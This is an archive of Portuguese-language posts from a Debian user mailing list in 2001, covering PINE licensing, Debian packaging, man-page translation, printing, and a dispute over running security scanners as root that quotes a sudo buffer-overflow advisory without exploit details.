informação não representa apenas o poder, representa mais, representa possibilidades que podem nos tornar melhores e maiores. Novamente gostaria de agradecer a Conectiva S/a por manter a hospedagem do site da LDP-BR, o mirror da LDP e a lista de discussões que disponibilizamos para sustentar as atividades das quais necessitamos. E a todos os tradutores/revisores que empenharam suas horas vagas, horas de sono, passeios familiares, finais de semana e uma infinidade de afazeres pessoais em prol do nosso sonho... o sonho de democratizar o GNU/Linux em nosso pais e com isto torna-lo socialmente mais justo e menos excludente. Os link para download dos arquivos são: http://ldp-br.conectiva.com.br/projetos/man-pages/ Muito obrigado, André Luiz Fassone Coordenador de traduções das páginas de manual da LDP-BR
Re: Fw: Re: PINE [era Mutt]
On Tue, 10 Jul 2001, Gustavo Noronha Silva wrote: Em Tue, 10 Jul 2001 01:04:44 -0300 (EST) Ricardo Castanho de O. Freitas [EMAIL PROTECTED] escreveu: Ví em uma de suas msg que *não* é recomendado a instalação de prg não .deb numa distro Debian (pois como você disse já são +7000 prg portados!). Quais seriam as implicações? instabilidade ou outra razão? você está desviando do sistema de empacotamento... isso faz com que o gerenciamento de pacotes fique bagunçado, afinal de contas, qual a dificuldade converter um rpm pra deb antes de instalar? =) Bem, aqui é uma das razões... Parece-me que quando criam um pacote .deb, existe um cuidado maior, como com a questão do Free (livre) software, compatibilidade, estabilidade e etc! A utilização do alien (rpm = deb), me pareceu que a princípio, iria corromper o sistema .deb (justamente por 'nem sempre' satisfazerem as questões do parágrafo anterior). mesmo assim acho difícil precisar... Sem dúvida, devido ao número (+7000!)...fica difícil algo ficar de fora! E como acompanhei recentemente, você fez o 'port' do sylpheed para o Debian, não foi? Houve a demanda... surgiu a solução! Pergunto porque, quando iniciei no Linux, esta foi uma das razões que eu não iniciei com o Debian! Eu não havia compreendido a 'filosofia' do Debian que como se comenta... apesar de ser a única distro que 'poderia' trazer o PINE, não traz justamente pela restrição imposta pelos desenvolvedores! bom... não entendi qual foi a razão pela qual você não começou no Debian, nem por que você diz que ela é a única que 'poderia' trazer o pine =) 1. Porque não Debian? Justamente pela informação (errada) de que no Debian não se pode usar nada que não seja Debian! O que não está totalmente errado, mas a impressão que eu tive foi de ficar preso à uma distro!(Fiquei 'preso' em outra distro ;-) Eu gosto de fazer experiências, de 'xeretar', de fazer experiências! O que devido à informação recebida... seria impossível! Hoje eu entendo o motivo! 2. PINE: Segundo informações em 'n' sites (brasileiros ou não), a única distro que é compatível com a licença PINE é a Debian (principalmente por não ser uma distro comercial, mas existem outros fatos!). Ou seja, paradoxalmente, a única distro que 'poderia' trazer o PINE sem 'ferir' a licença seria Debian, mas que não o faz justamente porque o PINE não é *totalmente* livre. Estou falando da inclusão em um 'release' como o potato! E não da ação voluntária de um usuário! Estou certo? seria bom continuar essa discussão na lista, não tem sentido falar em pvt... se você não se importar vou fazer forward das mensagens Sem problemas! []s Ricardo Castanho -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = So this it it. We're going to die.
Re: Fw: Re: PINE [era Mutt]
On Tue, 10 Jul 2001, cmax wrote: Eu já fiz uma boa parte de tudo que é de errado referente ao linux. Comecei com um conectiva marumbi. Mudei para o Corel. Instalei diversos programas rpm debinizados. E isso foi o pior. O sistema praticamente não se mexia mais. Tudo dava algum tipo de erro, mensagem de aviso, o caos. E sobre isto que eu estava falando! Eu realmente acho que eu chegaria a este tipo de caos! Instalei um Debian potato + progeny newton e tenho carinho demais para com meu companheiro para por qualquer tipo de coisa nele. Sem dúvida! Para que colocar em risco algo que está funcionando redondinho? Agora eu sou bastante purista: se não tem em .deb, então não faz falta! ;-) Novamente, é isto que eu quero dizer que *agora* eu entendo o porque ser 'purista'... por opção! justamente devido as caracteristicas da distro Debian... Mas, de novo, acho que o mais importante eu consegui! Migrar totalmente para o Linux! Se a forma ou modo não foi adequado... já são outros 500's! Principalmente, porque hoje estou totalmente operacional no Linux! Mas antes de dar outro passo, entendo que preciso conhecer mais o Linux como um todo. []s Ricardo Castanho Abraço Cláudio Max -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = Your aim is high and to the right.
Re: Mutt
On Mon, 9 Jul 2001 [EMAIL PROTECTED] wrote: Olá Douglas! Quanto ao Mutt fico devendo... eu uso PINE [comentários abaixo]! Será que alguém sabe como configurar SMTP e POP3 no Mutt? E também ouvi falar que tem como mudar as cores. Outra questao relativa a email eh o sobre o PINE, ele não é mesmo gratuito? O PINE é gratuito, embora não seja FREE (livre) porque a licença tem certas restrições/limitações quanto à distribuição! O CL6 não trouxe o PINE por estas restrições (A Conectiva 'personaliza' os produtos distribuidos e isto conflita com a licença do PINE). Este problema foi resolvido e soube que o PINE estará no CL7, porque houve um entendimento com relação as alterações. Se quiser, pegue em: http://www.washington.edu/pine/ e instale! Se houver dificuldades na configuração do From: (tem uns macetes!!!) email me! []s Ricardo Castanho -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = Keep emotionally active. Cater to your favorite neurosis.
Re: Impressão/Processador de Textos...
Olá Celso! Eu tinha esta impressora e agora tenho uma 810C e ambas funcionam muito bem com um pequeno programa que tem o 'modo econômico'. Eu tenho configurado duas impressoras uma no modo normal e a outra no modo econômico! É econômico mesmo! o nome do programa é 'hpgs', pelo nome dá para ver que a saída é em 'gs' (postscript). Depois deste, principalmente pela facilidade de uso esqueci os outros! []s Ricardo Castanho On Wed, 20 Jun 2001, Gustavo Noronha Silva wrote: Em Wed, 20 Jun 2001 00:14:17 -0500 Celso Andrade [EMAIL PROTECTED] escreveu: To usando o Abiword, ta funcionando bem até agora. Ele é bem semelhante ao M$ word. Só estou tentando descobrir como limitar a qualidade da impressão... gostaria de colocar em modo rascunho. Alguém tem idéia de como fazer? a impressora é Hp610c. Usei o magicfilter para configurá-la. na verdade você precisa configurar 2 impressoras, uma com hp** e outra com hp**low... algo assim... quanto ao Abiword, eu também uso, mas ele tem muitas limitações ainda (as mesmas que o kword basicamente)... ex: o hadling de figuras dele é sofrível... -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = Fine day for friends. So-so day for you.
Man Pages do Conectiva (GPL!)
Olá Pessoal! Acompanhei algumas mensagens sobre tradução das chamadas man pages... Se houver interesse em utiliza-las, é só entrar em contato com: André [EMAIL PROTECTED]. Ele é o atual Coordenador das traduções da LDP-BR. Ele pode informar o estágio atual de tradução e revisão. Faltam apenas 50 man pages para finalizar mais uma etapa! Portanto, toda e qualquer ajuda será bem-vinda! É um trabalho para toda a comunidade Linux! Portanto sob GPL! Não 'pertencem' à ninguem, exceto os autores e os usuários! Como todos sabem, existem divergências sobre a tradução de certos têrmos técnicos, tipos Kernel (cerne?, núcleo?..) ou qualquer outra palavra que alguns julgam já incorporadas em nosso jargão e, portanto, não deveriam ser traduzidas, mas tudo isto é sujeito à análise dos interessados. Por exemplo: Como ficaria a tradução do termo 'hash file'? Os técnicos já estão acostumados com o termo 'hash'...mas, e os novatos? Nada impede que novas revisões sejam efetuadas (sempre temos um tradutor e um revisor para cada página), basta acrescentar mais um nome de revisor ao término, mantendo todas as orientações sobre 'copyright' especificadas em cada página. []s Ricardo Castanho (um dos tradutores/revisores) -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = Your talents will be recognized and suitably rewarded.
Re: duvidas
On Sat, 21 Apr 2001, Fernando Fraga e Silva wrote: Somente o netscape da Debian ( i.e. netscapedeb ) forçava o não uso pelo root. Isto funcionava através de um script de wrapper. Caso fosse necessário, absolutamentamente necessário, poder-ser-ia rodar o binário do netscape, que se chama algo como netscape.real e ficava em /usr/X11/lib/ Simples, infelizmente não tenho acesso a root nesta máquina, logo, não posso testar para saber se o wrapper continua não permitindo o acesso pelo root. Mas, programa de segurança que requer o netscape para funcionar ? Parece piada... hehheeheeh, vc. me enganou! Por um instante pensei que fosse verdade. Olá Fernando! Então me esclarece uma coisa se o SAINT (ou ex-SATAN) não é um programa de auditoria de SEGURANÇA... o que ele é? Estou falando do uso racional dele! o que exclui, na minha opinião deixar que usuários não /root usem! concorda? Eu desinstalei o debian para testar o FreeBSD, portanto por enqto não posso testar, mas com certeza deve haver uma solução debian, nem que seja uma versão 'customisada', não?? Você já testou o Saint? ele gera relatórios em html (ou seja qq browser, nas se é Netscape ou não, acho que é um detalhe...[na segurança] ...) Se eu estiver errado, por favor... me informe! []s Ricardo Castanho -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© CL6.0 + Pine4.31 (This msg is 100% MS Free!) == Are you sure the back door is locked?
Re: duvidas sanadas ;-)
On Tue, 24 Apr 2001, Carlos Laviola wrote: Olá Carlos! Parece que temos propósitos diferentes!!! você me mandou uma correção já muito velha o que mostra que você está desatualizado no minimo! A minha intenção foi somente relatar minha experiência com alguns programas e informar que o netscape funciona sim, como root, em alguns sistemas, salvo o Debian como você mencionou e me corrigiuobrigado! Só que estes programas são muito mais que programas para script kiddies, ou qualquer que seja o nome que eles recebem!!! realmente eu só sei que que leio, o que parece que vc não tem feito!!! E eu fui humilde o suficiente para PEDIR esclarecimentos, caso estivesse enganado, e não este tipo de resposta! Se quiser chamar a atenção de alguém... faço quando você estiver 100% certo do que está fazendo! A sua orientação é de 26 de Fevereiro A minha é de 03 de Março!!! o que é tempo demais em termos de segurança! Com certeza já deve ter outra!!! Se você quiser continuar num tom adequado a quem tentou ajudar e pediu correções/informações no caso de incorreções, faça-o se puder, senão eu, infelizmente, dispenso este tipo de comentário! não estou competindo com ninguém, quero compartilhar e aprender e SÓ!!! Assim como você não sabe quem sou e o que faço, eu também não tenho a mínima idéia de quem você é ou o que faz, mas isto é pre-requisito para a lista??? por isto existe(deveria existir) um compartilhamento de informações nas listas! Todos sabemos algo que alguém não sabe! E eu quero aprender! E se você entente o que lê: leia a minha primeira postagem! lá eu digo que alguns programas de 'segurança' (aspas em sua homenagem!), exigem que somente o /root ou equivalente, tenham acesso a tais tipos de programas! Eu não logo como root para tudo! Mas existem trabalhos essenciais que devem ser feito por /root, ou equivalente, e se o sistema for suficientemente seguro, não haverá problemas! Ou seja, executa-se o trabalho e sai o /root de cena! Dispenso comentários que não levam à nada!!! Ricardo Castanho === Topic: sudo contains local buffer overflow Category: ports Module: sudo == Announced: 2001-04-23 Credits:Chris Wilson [EMAIL PROTECTED] Affects:Ports collection prior to the correction date. Corrected: 2001-03-07 Vendor status: Updated version released FreeBSD only: NO === I. Background sudo is a program that allowss a sysadmin to give limited root privileges to users and logs root activity. II. Problem Description The sudo port, versions prior to sudo-1.6.3.7, contains a local command-line buffer overflow allowing a local user to potentially gain increased privileges on the local system. III. Impact Local users may potentially gain increased privileges on the local system. If you have not chosen to install the sudo port/package, then your system is not vulnerable to this problem. IV. Workaround Deinstall the sudo port/package if you have installed it. V. Solution One of the following: 1) Upgrade your entire ports collection and rebuild the sudo port. 2) Deinstall the old package and install a new package dated after the correction date, obtained from: === -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 sudo (1.6.3p6-1) unstable; urgency=high * new upstream version, fixes buffer overflow problem, closes: #87259, #87278, #87263 * revert to using --with-secure-path option at build time, since the option available in sudoers is parsed too late to be useful, and upstream says it won't get fixed quickly. This reopens 85123, which I will mark as forwarded. Closes: #86199, #86117, #85676 -- Bdale Garbee [EMAIL PROTECTED] Mon, 26 Feb 2001 11:02:51 -0700 On 24-Apr-2001 Ricardo Castanho de O. Freitas wrote: On Tue, 24 Apr 2001, Carlos Laviola wrote: Falar de SEGURANÇA!!! mas logar como root pra tudo não combina muito.. Eu não me logo como root pra nada, mas consigo rodar programas como root usando sudo. Recomendo que você leia sobre ele ou sobre o super. Boa recomendação se forem sanados antes os últimos expoits para sudo! Como você falou, aliás dá para perceber, SEGURANÇA é assunto sério! Mas rodar programas com falhas de segurança (como o sudo, recentemente...) dá no mesmo! Você entende do que fala ou só repete o que lê nas listas? Mas se o SAINT não for um programa de auditoria de segurança... oque é então? Um programa pra ajudar script kiddies. e o nmap? Outro. E o Nessus? Mesma coisa. E geram relatórios em html (menos o nmap!) pode ser outro browser, mas dá no mesmo, não? Não. Que só rodam como root, su e outros!?! Justamente por Segurança! Você deixaria uma ferramenta destas fora do 'escopo' de um 'root'...? Não faço a menor idéia
Re: duvidas
On Mon, 23 Apr 2001, Raphael DephiNit Pereira wrote: Que eu saiba, o netscape não pode ser executado como root por medidas de segurança, mas nunca tentei mudar isso. Acho que isto mudou! em minha maquina funcionou com várias distros!!! não é aconselhável navegar, mas existem programas que precisam dele, rodando como root!! e são de SEGURANÇA!!! Funcionou em Slack, Debian, FreeBSD e Cl6! []s Ricardo Castanho -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© CL6.0 + Pine4.31 (This msg is 100% MS Free!) == You will pay for your sins. If you have already paid, please disregard this message.
Re: Matando processos D
On Fri, 13 Apr 2001, Marcelo L. Coelho wrote: Às vezes, também, o processo vira um zombie, daí quem trabalha com estações/servidores que ficam um bom tempo em pé costuma achar vários zombies rodando (netscape sempre tem). Perdoem-me a falta de cultura; Oque seria isso zombie Você nunca assistiu daqueles filmes de Voodoo ( não é a placa de vídeo!!!) Aqueles caras que morrem nas ficam adando por aí, mortos, mas aterrorizando as pessoas? Então, são aqueles processos que aparentemente morrem mas ficam ocupando espaço, se digitar o comando 'top' você vai ver que no alto tem uma entrada para os zombies... aí é só matar eles de vez!!! []s Ricardo -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© CL6.0 + Pine4.31 (This msg is 100% MS Free!) == You are farsighted, a good planner, an ardent lover, and a faithful friend.
Re: servidor de data
On Fri, 23 Feb 2001, DNA-K wrote: Date: Fri, 23 Feb 2001 19:30:54 -0300 Olá lista, alguém aqui conhece um bom servidor de data (para usar o rdate)? não sei se foi para essa lista, mas alguém tinha postado uns servidores de data da nasa... Olá! Eu uso o relógio atômico do Observatório Nacional e funciona! só que o rdate é para acertar data e hora eu uso via cron: rdate -s 200.20.186.75 e se necessário ajustar o hwclock []s Ricardo Castanho -- == Ricardo C.O. Freitas mailto: [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© CL6.0 + Pine4.31 (This msg is 100% MS Free!) =
Re: Valor x Placa Onboard
On Wed, 7 Feb 2001, Antonio A. Lobato wrote: From: Antonio A. Lobato [EMAIL PROTECTED] To: debian-user-portuguese@lists.debian.org Subject: Valor x Placa Onboard Date: Wed, 7 Feb 2001 03:07:42 -0200 -Eh assim mesmo que funciona ? Ou seja, terei que pagar ~30% mais para um computador compativel com Linux (nada onboard) ? -O melhor lugar para se comprar computadores eh realmente na Santa Efigenia em SaoPaulo, ou alguem sugere outro (talvez Sorocaba ou Piracicaba) ? Tom. Olá Tom! Eu moro em Sorocaba e tenho encomendado meus dois últimos computadores aqui na cidade... A qualidade é boa (nunca tive problemas)... a não ser com preços ;-( Mas é possivel obter um BOM computador por um bom preço, tudo depende da configuração. Agora o nada 'on board' depende já colegas da linux-br(lista) terem TUDO on board e SEM problemas se você puder esperar posso perguntar para a lista e ver quem é ou fornecer o nome dos 'fornecedores' locais...de boa qualidade (testados por mim, por isto posso recomendá-los sem medo). abraços, Se tiver interesse PVT! Ricardo Castanho -- == Ricardo C.O. Freitas mailto: [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© CL6.0 + Pine4.31 (This msg is 100% MS Free!) = Speak softly and carry a cellular phone.